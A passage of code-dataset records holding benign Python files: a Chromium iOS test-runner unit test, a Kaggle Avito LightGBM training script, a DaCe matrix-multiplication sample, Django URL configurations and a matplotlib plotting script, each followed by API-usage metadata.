"cookie_webdriver.py", "file_ext": "py", "file_size_in_byte": 797, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 5, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 5, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 8, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 13, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 17, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "650983575", "text": "#!/usr/bin/python\n# Copyright 2015 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\"Runs unit tests on test_runner.py.\n\nUsage:\n ./test_runner_test.py\n\"\"\"\n\n# pylint: disable=relative-import\nimport environment_setup\n\nimport mock\nimport os\nimport tempfile\nimport unittest\n\nfrom slave.ios import test_runner\n\nclass TestRunnerTest(unittest.TestCase):\n \"\"\"Unit tests for test_runner.TestRunner.\"\"\"\n\n def testRaisesAppNotFoundError(self):\n \"\"\"Ensures invalid app_path raises AppNotFoundError.\"\"\"\n self.assertRaises(\n test_runner.AppNotFoundError, test_runner.TestRunner, '/tmp/fakepath')\n\n def testRaisesUnexpectedAppExtensionError(self):\n \"\"\"Ensures invalid app_path raises UnexpectedAppExtensionError.\"\"\"\n self.assertRaises(\n test_runner.UnexpectedAppExtensionError,\n test_runner.TestRunner,\n tempfile.mkdtemp(),\n )\n\n def testDoesNotRaiseAppNotFoundError(self):\n \"\"\"Ensures valid app_path does not raise AppNotFoundError.\"\"\"\n self.failUnless(test_runner.TestRunner(tempfile.mkdtemp('.app')))\n self.failUnless(test_runner.TestRunner(tempfile.mkdtemp('.ipa')))\n\n def testRequireTearDown(self):\n \"\"\"Ensures methods decorated with RequireTearDown call TearDown last.\"\"\"\n class TearDownTestRunner(test_runner.TestRunner):\n def __init__(self):\n super(TearDownTestRunner, self).__init__(tempfile.mkdtemp('.ipa'))\n self.values = []\n\n def TearDown(self):\n self.values.append('teardown')\n\n def GetLaunchCommand(self, test_filter=None, blacklist=None):\n pass\n\n def Launch(self):\n pass\n\n def NoTearDown(self, value):\n self.values.append(value)\n\n @test_runner.TestRunner.RequireTearDown\n def RequiresTearDown(self, value):\n self.values.append(value)\n\n @test_runner.TestRunner.RequireTearDown\n def ExceptionRaiser(self):\n raise NotImplementedError\n\n t = TearDownTestRunner()\n self.failIf(t.values)\n\n t.NoTearDown('abc')\n self.assertListEqual(t.values, ['abc'])\n\n t.RequiresTearDown('123')\n self.assertListEqual(t.values, ['abc', '123', 'teardown'])\n\n self.assertRaises(NotImplementedError, t.ExceptionRaiser)\n self.assertListEqual(t.values, ['abc', '123', 'teardown', 'teardown'])\n\n def testGetFilter(self):\n \"\"\"Tests the results of GetGTestFilter and GetKIFTestFilter.\"\"\"\n tests = [\n 'Test 1',\n 'Test 2',\n 'KIF.Test A',\n 'KIF.Test B',\n ]\n\n expected_gtest = 'Test 1:Test 2:KIF.Test A:KIF.Test B'\n expected_inverted_gtest = '-Test 1:Test 2:KIF.Test A:KIF.Test B'\n expected_kif = 'NAME:Test 1|Test 2|Test A|Test B'\n expected_inverted_kif = '-NAME:Test 1|Test 2|Test A|Test B'\n\n self.assertEqual(\n test_runner.TestRunner.GetGTestFilter(tests, False),\n expected_gtest,\n )\n self.assertEqual(\n test_runner.TestRunner.GetGTestFilter(tests, True),\n expected_inverted_gtest,\n )\n self.assertEqual(\n test_runner.TestRunner.GetKIFTestFilter(tests, False),\n expected_kif,\n )\n self.assertEqual(\n test_runner.TestRunner.GetKIFTestFilter(tests, True),\n expected_inverted_kif,\n )\n\n\nclass SimulatorTestRunnerTest(unittest.TestCase):\n \"\"\"Unit tests for test_runner.SimulatorTestRunner.\"\"\"\n def testRaisesSimulatorNotFoundError(self):\n \"\"\"Ensures SimulatorNotFoundError is raised when iossim doesn't exist.\"\"\"\n self.assertRaises(\n test_runner.SimulatorNotFoundError,\n test_runner.SimulatorTestRunner,\n tempfile.mkdtemp('.app'),\n '/tmp/fake/path/to/iossim',\n 'iPhone 5',\n '8.0',\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n", "sub_path": "scripts/slave/ios/test_runner_test.py", "file_name": "test_runner_test.py", "file_ext": "py", "file_size_in_byte": 3717, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "unittest.TestCase", "line_number": 22, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner.AppNotFoundError", "line_number": 28, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 28, "usage_type": "name"}, {"api_name": "slave.ios.test_runner.TestRunner", "line_number": 28, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner.UnexpectedAppExtensionError", "line_number": 33, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 33, "usage_type": "name"}, {"api_name": "slave.ios.test_runner.TestRunner", "line_number": 34, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 34, "usage_type": "name"}, {"api_name": "tempfile.mkdtemp", "line_number": 35, "usage_type": "call"}, {"api_name": "slave.ios.test_runner.TestRunner", "line_number": 40, "usage_type": "call"}, {"api_name": "slave.ios.test_runner", "line_number": 40, "usage_type": "name"}, {"api_name": "tempfile.mkdtemp", "line_number": 40, "usage_type": "call"}, {"api_name": "slave.ios.test_runner.TestRunner", "line_number": 41, "usage_type": "call"}, {"api_name": "slave.ios.test_runner", "line_number": 41, "usage_type": "name"}, {"api_name": "tempfile.mkdtemp", "line_number": 41, "usage_type": "call"}, {"api_name": "slave.ios.test_runner.TestRunner", "line_number": 45, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 45, "usage_type": "name"}, {"api_name": "tempfile.mkdtemp", "line_number": 47, "usage_type": "call"}, {"api_name": "slave.ios.test_runner.TestRunner", "line_number": 62, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 62, "usage_type": "name"}, {"api_name": "slave.ios.test_runner.TestRunner", "line_number": 66, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 66, "usage_type": "name"}, {"api_name": "slave.ios.test_runner.TestRunner.GetGTestFilter", "line_number": 97, "usage_type": "call"}, {"api_name": "slave.ios.test_runner.TestRunner", "line_number": 97, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 97, "usage_type": "name"}, {"api_name": "slave.ios.test_runner.TestRunner.GetGTestFilter", "line_number": 101, "usage_type": "call"}, {"api_name": "slave.ios.test_runner.TestRunner", "line_number": 101, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 101, "usage_type": "name"}, {"api_name": "slave.ios.test_runner.TestRunner.GetKIFTestFilter", "line_number": 105, "usage_type": "call"}, {"api_name": "slave.ios.test_runner.TestRunner", "line_number": 105, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 105, "usage_type": "name"}, {"api_name": "slave.ios.test_runner.TestRunner.GetKIFTestFilter", "line_number": 109, "usage_type": "call"}, {"api_name": "slave.ios.test_runner.TestRunner", "line_number": 109, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 109, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 114, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner.SimulatorNotFoundError", "line_number": 119, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 119, "usage_type": "name"}, {"api_name": "slave.ios.test_runner.SimulatorTestRunner", "line_number": 120, "usage_type": "attribute"}, {"api_name": "slave.ios.test_runner", "line_number": 120, "usage_type": "name"}, {"api_name": "tempfile.mkdtemp", "line_number": 121, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 129, "usage_type": "call"}]} +{"seq_id": "185692055", "text": "import os, sys\nROOT = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '../../'))\nsys.path.append(ROOT)\nAPP_ROOT = os.path.join(ROOT, \"avito\")\nOUTPUT_DIR = os.path.join(APP_ROOT, \"output\")\nSPAIN_DIR = os.path.join(APP_ROOT, \"spain\")\nSUB_DIR = os.path.join(APP_ROOT, \"submission\")\nPRED_TRAIN = os.path.join(OUTPUT_DIR, \"pred_train.csv\")\nPRED_TEST = os.path.join(OUTPUT_DIR, \"pred_test.csv\")\nGAZOU_TRAIN = os.path.join(OUTPUT_DIR, \"image_train.csv\")\nGAZOU_TEST = os.path.join(OUTPUT_DIR, \"image_test.csv\")\nCV_FOLDS = os.path.join(SPAIN_DIR, \"train_folds.csv\")\nOUTPUT_PRED = os.path.join(SUB_DIR, \"simple2.csv\")\nOUTPUT_CV_PRED = os.path.join(SUB_DIR, \"simple2_cv.csv\")\nimport pandas as pd\nimport numpy as np\nimport scipy.sparse\nimport gc\nfrom sklearn import model_selection\nfrom dask import dataframe as dd\nfrom avito.common import csv_loader, sane_columns, pocket_lgb, pocket_timer, pocket_logger, holdout_validator\nfrom avito.fe import additional_fe\n\nlogger = pocket_logger.get_my_logger()\ntimer = pocket_timer.GoldenTimer(logger)\ndtypes = csv_loader.get_featured_dtypes()\npredict_col = sane_columns.get_predict_col()\n\ncv_folds = pd.read_csv(CV_FOLDS)\ntrain = dd.read_csv(PRED_TRAIN).compute()\ngazou = dd.read_csv(GAZOU_TRAIN).compute()\ngazou[\"image\"] = gazou[\"image\"].apply(lambda w: w.replace(\".jpg\", \"\"))\ntrain = pd.merge(train, gazou, on=\"image\", how=\"left\")\ntrain = pd.merge(train, cv_folds, on=\"item_id\", how=\"left\")\n\ntest = dd.read_csv(PRED_TEST).compute()\ngazou = dd.read_csv(GAZOU_TEST).compute()\ngazou[\"image\"] = gazou[\"image\"].apply(lambda w: w.replace(\".jpg\", \"\"))\ntest = pd.merge(test, gazou, on=\"image\", how=\"left\")\ntimer.time(\"load csv in \")\n\ntest_x = test[predict_col]\n\nsubmission = pd.DataFrame()\nsubmission[\"item_id\"] = test[\"item_id\"]\nsubmission[\"deal_probability\"] = 0\n\ntrain_final_out = pd.DataFrame()\ntrain_final_out[\"item_id\"] = train[\"item_id\"]\ntrain_final_out[\"cv_pred\"] = 0\ntimer.time(\"prepare train in \")\n\nbagging_num = 2\nfor bagging_index in range(bagging_num):\n total_score = 0\n models = []\n train_preds = []\n seed = 99 * bagging_index\n lgb = pocket_lgb.get_simple_lgb(seed)\n for split_index in range(1, 5):\n short_timer = pocket_timer.GoldenTimer(logger)\n mask = train[\"fold\"] != split_index\n train_ = train[mask]\n valid_ = train[~mask]\n train_x, train_y = train_[predict_col], train_[\"deal_probability\"]\n valid_x, valid_y = valid_[predict_col], valid_[\"deal_probability\"]\n\n model = lgb.do_train_avito(train_x, valid_x, train_y, valid_y, predict_col)\n score = model.best_score[\"valid_0\"][\"rmse\"]\n total_score += score\n y_pred = model.predict(test_x)\n train_reverse_pred = model.predict(valid_x)\n models.append(model)\n\n submission[\"deal_probability\"] = submission[\"deal_probability\"] + y_pred\n train_cv_prediction = pd.DataFrame()\n train_cv_prediction[\"item_id\"] = valid_[\"item_id\"]\n train_cv_prediction[\"cv_pred\"] = train_reverse_pred\n train_preds.append(train_cv_prediction)\n short_timer.time(\"done one set in\")\n\n train_output = pd.concat(train_preds, axis=0)\n train_output[\"cv_pred\"] = np.clip(train_output[\"cv_pred\"], 0.0, 1.0)\n train_final_out[\"cv_pred\"] = train_final_out[\"cv_pred\"] + train_output[\"cv_pred\"]\n\n lgb.show_feature_importance(models[0])\n avg_score = str(total_score / 4)\n print(\"average score= \" + avg_score)\n logger.info(\"average score= \" + avg_score)\n timer.time(\"end train in \")\n\n\nsubmission[\"deal_probability\"] = submission[\"deal_probability\"] / (4 * bagging_num)\nsubmission[\"deal_probability\"] = np.clip(submission[\"deal_probability\"], 0.0, 1.0)\nsubmission.to_csv(OUTPUT_PRED, index=False)\n\ntrain_final_out[\"cv_pred\"] = train_final_out[\"cv_pred\"] / bagging_num\ntrain_final_out[\"cv_pred\"] = np.clip(train_final_out[\"cv_pred\"], 0.0, 1.0)\ntrain_final_out.to_csv(OUTPUT_CV_PRED, index=False)\n\nprint(train[\"deal_probability\"].describe())\nlogger.info(train_final_out.describe())\nlogger.info(submission.describe())\nprint(train_final_out.describe())\nprint(submission.describe())\ntimer.time(\"done submission in \")\n\n", "sub_path": "simple/simple2.py", "file_name": "simple2.py", "file_ext": "py", "file_size_in_byte": 4150, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.abspath", "line_number": 2, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 2, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 4, "usage_type": "call"}, {"api_name": "os.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "avito.common.pocket_logger.get_my_logger", "line_number": 24, "usage_type": "call"}, {"api_name": "avito.common.pocket_logger", "line_number": 24, "usage_type": "name"}, {"api_name": "avito.common.pocket_timer.GoldenTimer", "line_number": 25, "usage_type": "call"}, {"api_name": "avito.common.pocket_timer", "line_number": 25, "usage_type": "name"}, {"api_name": "avito.common.csv_loader.get_featured_dtypes", "line_number": 26, "usage_type": "call"}, {"api_name": "avito.common.csv_loader", "line_number": 26, "usage_type": "name"}, {"api_name": "avito.common.sane_columns.get_predict_col", "line_number": 27, "usage_type": "call"}, {"api_name": "avito.common.sane_columns", "line_number": 27, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 29, "usage_type": "call"}, {"api_name": "dask.dataframe.read_csv", "line_number": 30, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 30, "usage_type": "name"}, {"api_name": "dask.dataframe.read_csv", "line_number": 31, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 31, "usage_type": "name"}, {"api_name": "pandas.merge", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 34, "usage_type": "call"}, {"api_name": "dask.dataframe.read_csv", "line_number": 36, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 36, "usage_type": "name"}, {"api_name": "dask.dataframe.read_csv", "line_number": 37, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 37, "usage_type": "name"}, {"api_name": "pandas.merge", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 48, "usage_type": "call"}, {"api_name": "avito.common.pocket_lgb.get_simple_lgb", "line_number": 59, "usage_type": "call"}, {"api_name": "avito.common.pocket_lgb", "line_number": 59, "usage_type": "name"}, {"api_name": "avito.common.pocket_timer.GoldenTimer", "line_number": 61, "usage_type": "call"}, {"api_name": "avito.common.pocket_timer", "line_number": 61, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 76, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 98, "usage_type": "call"}]} +{"seq_id": "240284392", "text": "#!/usr/bin/env python\nfrom __future__ import print_function\n\nimport argparse\nimport dace\nimport numpy as np\n\nM = dace.symbol('M')\nK = dace.symbol('K')\nN = dace.symbol('N')\n\n\n@dace.program(dace.float64[M, K], dace.float64[K, N], dace.float64[M, N])\ndef gemm(A, B, C):\n # Transient variable\n tmp = dace.define_local([M, N, K], dtype=A.dtype)\n\n @dace.map(_[0:M, 0:N, 0:K])\n def multiplication(i, j, k):\n in_A << A[i, k]\n in_B << B[k, j]\n out >> tmp[i, j, k]\n\n out = in_A * in_B\n\n dace.reduce(lambda a, b: a + b, tmp, C, axis=2, identity=0)\n\n\nif __name__ == \"__main__\":\n print(\"==== Program start ====\")\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"M\", type=int, nargs=\"?\", default=24)\n parser.add_argument(\"K\", type=int, nargs=\"?\", default=24)\n parser.add_argument(\"N\", type=int, nargs=\"?\", default=24)\n args = vars(parser.parse_args())\n\n M.set(args[\"M\"])\n K.set(args[\"K\"])\n N.set(args[\"N\"])\n\n print('Matrix multiplication %dx%dx%d' % (M.get(), K.get(), N.get()))\n\n # Initialize arrays: Randomize A and B, zero C\n A = np.random.rand(M.get(), K.get()).astype(np.float64)\n B = np.random.rand(K.get(), N.get()).astype(np.float64)\n C = np.zeros([M.get(), N.get()], dtype=np.float64)\n C_regression = np.zeros_like(C)\n\n gemm(A, B, C)\n\n if dace.Config.get_bool('profiling'):\n dace.timethis('gemm', 'numpy', (2 * M.get() * K.get() * N.get()),\n np.dot, A, B, C_regression)\n else:\n np.dot(A, B, C_regression)\n\n diff = np.linalg.norm(C_regression - C) / (M.get() * N.get())\n print(\"Difference:\", diff)\n print(\"==== Program end ====\")\n exit(0 if diff <= 1e-5 else 1)\n", "sub_path": "samples/simple/gemm.py", "file_name": "gemm.py", "file_ext": "py", "file_size_in_byte": 1710, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "dace.symbol", "line_number": 8, "usage_type": "call"}, {"api_name": "dace.symbol", "line_number": 9, "usage_type": "call"}, {"api_name": "dace.symbol", "line_number": 10, "usage_type": "call"}, {"api_name": "dace.define_local", "line_number": 16, "usage_type": "call"}, {"api_name": "dace.map", "line_number": 18, "usage_type": "call"}, {"api_name": "dace.reduce", "line_number": 26, "usage_type": "call"}, {"api_name": "dace.program", "line_number": 13, "usage_type": "call"}, {"api_name": "dace.float64", "line_number": 13, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.zeros_like", "line_number": 48, "usage_type": "call"}, {"api_name": "dace.Config.get_bool", "line_number": 52, "usage_type": "call"}, {"api_name": "dace.Config", "line_number": 52, "usage_type": "attribute"}, {"api_name": "dace.timethis", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 58, "usage_type": "attribute"}]} +{"seq_id": "496078813", "text": "from django.conf import settings\nfrom django.conf.urls import include, url\nfrom django.conf.urls.static import static\n\n\nfrom django.contrib import admin\n\nfrom carts.views import CartView, CheckoutView, ItemCountView\nfrom orders.views import AddressSelectFormView\n\nurlpatterns = [\n # Examples:\n\n url(r'^$', 'newsletter.views.home', name='home'),\n\n url(r'^contact/$', 'newsletter.views.contact', name='contact'),\n url(r'^about/$', 'ecomerce2.views.about', name='about'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n url(r'^accounts/', include('registration.backends.default.urls')),\n\n\n url(r'^cart/$', CartView.as_view(), name='cart'),\n url(r'^cart/count/$', ItemCountView.as_view(), name='item_count'),\n url(r'^checkout/$', CheckoutView.as_view(), name='checkout'),\n url(r'^checkout/address/$', AddressSelectFormView.as_view(), name='address'),\n\n url(r'^products/', include('products.urls')),\n #url(r'^carts/', include('carts.urls')),\n\n\n]#nai h oraha muj se kaam its deadly slow...u need to restart systemok. waisay ap ne CartView ko quotes main present kiyaa thaa\n#muje b samaj naai aaya...aur????????????????\n\nif settings.DEBUG:\n\turlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n\turlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)", "sub_path": "ecomerce2/src/ecomerce2/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1368, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 20, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 20, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 24, "usage_type": "call"}, {"api_name": "carts.views.CartView.as_view", "line_number": 24, "usage_type": "call"}, {"api_name": "carts.views.CartView", "line_number": 24, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 25, "usage_type": "call"}, {"api_name": "carts.views.ItemCountView.as_view", "line_number": 25, "usage_type": "call"}, {"api_name": "carts.views.ItemCountView", "line_number": 25, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 26, "usage_type": "call"}, {"api_name": "carts.views.CheckoutView.as_view", "line_number": 26, "usage_type": "call"}, {"api_name": "carts.views.CheckoutView", "line_number": 26, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 27, "usage_type": "call"}, {"api_name": "orders.views.AddressSelectFormView.as_view", "line_number": 27, "usage_type": "call"}, {"api_name": "orders.views.AddressSelectFormView", "line_number": 27, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 29, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 29, "usage_type": "call"}, {"api_name": "django.conf.settings.DEBUG", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 36, "usage_type": "name"}, {"api_name": "django.conf.urls.static.static", "line_number": 37, "usage_type": "call"}, {"api_name": "django.conf.settings.STATIC_URL", "line_number": 37, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 37, "usage_type": "name"}, {"api_name": "django.conf.settings.STATIC_ROOT", "line_number": 37, "usage_type": "attribute"}, {"api_name": "django.conf.urls.static.static", "line_number": 38, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 38, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 38, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 38, "usage_type": "attribute"}]} +{"seq_id": "575636848", "text": "# -*- coding: utf-8\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nwith open('output.txt') as fp:\n csv = np.array(map(lambda l: (int(l.split(',')[0]), float(l.split(',')[1])),\n fp.read().splitlines()))\n\ntabu_search = sum([csv[300*(2*i):300*(2*i+1)] for i in range(100)]) / 100\ngreedy = sum([csv[300*(2*i+1):300*(2*i+2)] for i in range(100)]) / 100\ntabu_search = tabu_search[:, 1]\ngreedy = greedy[:, 1]\nt = range(1, 301)\n\nplt.plot(t, tabu_search, 'r-')\nplt.plot(t, greedy, 'b-')\nplt.legend([u'Tabu Search', u'Greedy Algorithm'], loc='lower right')\nplt.xlabel('Number of Steps')\nplt.ylabel('$R$')\nplt.show()\n\n\n", "sub_path": "Study06/plotter.py", "file_name": "plotter.py", "file_ext": "py", "file_size_in_byte": 634, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "numpy.array", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}]} +{"seq_id": "278494344", "text": "\"\"\"github URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom wiki.models import Wiki\nfrom . import views\nfrom django.views.generic import TemplateView\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('labels/', include('label.urls')),\n path('admin/', admin.site.urls),\n path('',views.landing, name='landing'),\n path('repository/', include('repository.url')),\n path('register/', views.register, name=\"register\"),\n path('accounts/', include('django.contrib.auth.urls')),\n path('wiki/', include('wiki.url')),\n path('task/',include('task.urls')),\n path('project/', include('project.urls')),\n path('milestone/', include('milestone.urls')),\n path('comments/', include('comment.urls')),\n path('profile/', views.profile, name='profile'),\n path('photo/', include('photo.urls')),\n path('user/', include('user.urls')),\n path('branch/', include('branch.url')),\n path('commit/', include('commit.urls'))\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL,\n document_root=settings.MEDIA_ROOT)\n", "sub_path": "github/github/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1770, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 25, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 26, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 28, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 30, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 31, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 33, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 34, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 35, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 36, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 37, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 37, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 38, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 